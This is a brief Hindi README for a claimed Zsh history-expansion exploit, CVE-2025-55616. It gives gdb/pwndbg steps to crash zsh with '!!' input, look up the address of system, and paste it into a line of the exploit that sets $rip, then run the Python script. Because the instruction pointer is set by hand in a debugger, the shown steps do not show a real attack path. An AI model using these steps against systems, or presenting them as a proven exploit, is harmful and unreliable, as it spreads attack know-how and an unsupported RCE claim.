CVE-2025-55616

लेखक: Rana M.Sinan Adil

• Zsh में पाई गई भेद्यता जो History Expression के माध्यम से RCE की ओर ले जाती है

मुख्य बिंदु

इस एक्सप्लॉइट को चलाने के लिए: बस ip address और एक्सप्लॉइट में "p system" बदलें, क्योंकि मैंने इसे अपने दूसरे लैपटॉप में भी आज़माया है, और इसे बदलने के लिए gdb में (विशेष रूप से pwndbg में) निम्नलिखित कमांड चलाएँ:

$ gdb zsh -f (टर्मिनल में)

pwndbg> run -f

username% ! (username आपका होगा, बस ! लिखें)

username% !!11111111111 (यहाँ भी वही, बस !!11111111111 लिखें)

pwndbg> p system

"p system" address मिलने के बाद उसे बदल दें

एक्सप्लॉइट में निम्नलिखित पंक्ति में:

b'set $rip =  0x7ffff7cc9110', (0x7ffff7cc9110 की जगह अपना p system address उपयोग करें

विवरण

यह भेद्यता स्थानीय हमलावरों को Zsh प्रक्रिया चलाने वाले उपयोगकर्ता के विशेषाधिकारों के साथ Arbitrary Code Execution (RCE) प्राप्त करने की अनुमति देती है।

उपयोग

python3 CVE-2025-55616.py